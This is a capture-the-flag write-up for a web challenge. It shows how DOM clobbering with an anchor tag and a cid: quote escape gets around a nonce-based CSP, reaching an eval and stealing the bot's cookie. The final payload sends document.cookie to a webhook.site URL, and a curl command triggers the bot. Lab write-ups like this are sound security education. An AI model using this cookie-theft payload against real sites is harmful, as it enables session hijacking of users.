Scope
The text that came as description with the CTF was the following:
Today I learned about CSP. This seems to completely solve all web related vulnerabilities, right?? Hint: Make sure that you locally test with Chrome, not with Firefox.
The files included in the challenge are:
Clobbers
├─ Dockerfile
├─ bot.py
├─ server.py
Walkthrough
The flag is stored as a cookie on a pseudo-client-instance created by the bot with
playwright
:
def visit(post_id):
with sync_playwright() as playwright:
chromium = playwright.chromium
browser = chromium.launch()
context = browser.new_context()
# Set cookies before navigation
context.add_cookies([
{
'name': 'FLAG',
'value': os.environ.get("FLAG", "stairctf{placeholder_flag}"),
'domain': 'localhost:5000',
'path': '/'
}
])
page = context.new_page()
page.goto("http://localhost:5000/posts/"+post_id)
time.sleep(0.5)
browser.close()
And of course there is also an eval
involved, specifically in a template in the
server.py
there is this piece of code:
<script nonce="{{ nonce }}">
window.onload = function() {
var admin = window.admin || {};
// converting the number to a string
if(admin.account) {
window.account = eval('"'+ admin.account + '"')
}
};
</script>
Now how do we exploit this?
XSS
The site itself is a very simple page showing an input field and a submit button for submitting a “Post”. The input field contains the hint “Write your post here, html is supported”. This can be confirmed when entering something like this:
<b>Hello there</b>
After submitting the post, we get redirected to a page where the text appears in bold together with a “Report” button.
However when we try to input a script tag like this:
<script>alert(1)</script>
Or the prime example:
<img scr="" onerror=alert(1)>
It will not execute the code inside because of the CSP restriction. The web-console in the browser confirms this with the message:
Content-Security-Policy: The page’s settings blocked an inline script (script-src-elem) from being executed because it violates the following directive: “script-src ‘self’ ’nonce-c3d4ef3f7dba94a851edfcb4927a89ff’”
Sadness :(
DOM-clobbering
After some research I stumbled upon this article from hacktricks XSS cross site scripting - DOM clobbering
I never heard of this name before but it describes the fact that when there are certain
HTML tags (i.e. embed
, form
, iframe
, image
, img
and object
) with IDs, they
can be accessed in JS like an object. Really viable for exploitation however are only
anchor tags. This because of the fact that when the .toString()
method is executed on
such an object normally it would return something like [object HTMLFormElement]
, but
when used on an anchor element the .toString()
method returns the value of href
and
we can control this value.
So for example, when we inject the following element:
<a href="Hello World" id="anchor"></a>
The code console.log(anchor)
will print “Hello World”.
Exploit
Ok now back to the eval
. As seen from earlier when the page is loaded the script code
checks if there is an admin object present and if so if admin.account
is non-null.
Should this be the case, then whatever is in admin.account
will be parsed inside an
eval
-statement. Now that sounds promising. All we need to do now is to craft a
suitable anchor tag.
The element will always be a sub-element of window, so the ID of the anchor tag needs to
be admin
like this:
<a id=admin></a>
However, not admin
but admin.account
will be executed. To simulate the
account
-property we can just set the name
value to ‘account’. Like this:
<a id=admin name=account></a>
Now how do we exploit this: window.account = eval('"'+ admin.account + '"')
?
Well first of all we need to escape the string but we can’t put normal double quotes
into our href
value, because they will get URL-encoded and are therefore useless. But
hacktricks also give a solution for this: cid:"
These “quotes” will get decoded at runtime and evaluated by the eval
statement.
Let’s test it:
<a id=admin name=account href='cid:";alert(1)//'></a>
(don’t forget the two slashes to comment everything to the right of our injected code)
When injecting this it actually prompts me! :D
Final steps
Since we can get the bot to visit our post we need to extract his cookie and “send” it
to us somehow. “Extracting” the cookie is easy since we can access it with
document.cookie
.
This was the hardest part for me I spent so much time figuring something out but in the end it was so simple…
Fetch requests are still not allowed, but we can achieve a redirect by changing the
window.location
object, or by setting window.location.href
to a custom URL to be
more precise.
What is this good for?
Well there are nice services like webhook.site which basically assigns you temporarily a custom URL and displays all requests made to this URL. So when we make a request to this URL with the cookie as URL argument this should work.
Let’s test it:
<a id=admin name=account href='cid:";window.location.href="https://webhook.site/<webhook-id>/"+document.cookie//'></a>
The consequence of this is, that we also get redirected when submitting it, so we can’t
directly report the post. But all that is necessary is a POST request to the
/report/<post-id>
URL. When opening the dev-tools in the browser in the “Network” tab
with the history enabled, we can see the GET request to our recently created post (from
which we got redirected to webhook.site) in which the post ID is also visible. With the
post ID we can execute this command:
curl -X POST "https://<session-id>.ctf.stair.ch:1337/report/<post-id>"
After that there should be a request in our webhook history which looks something like this:
https://webhook.site/<personal-webhook-id>/stairctf{flag}
yay :)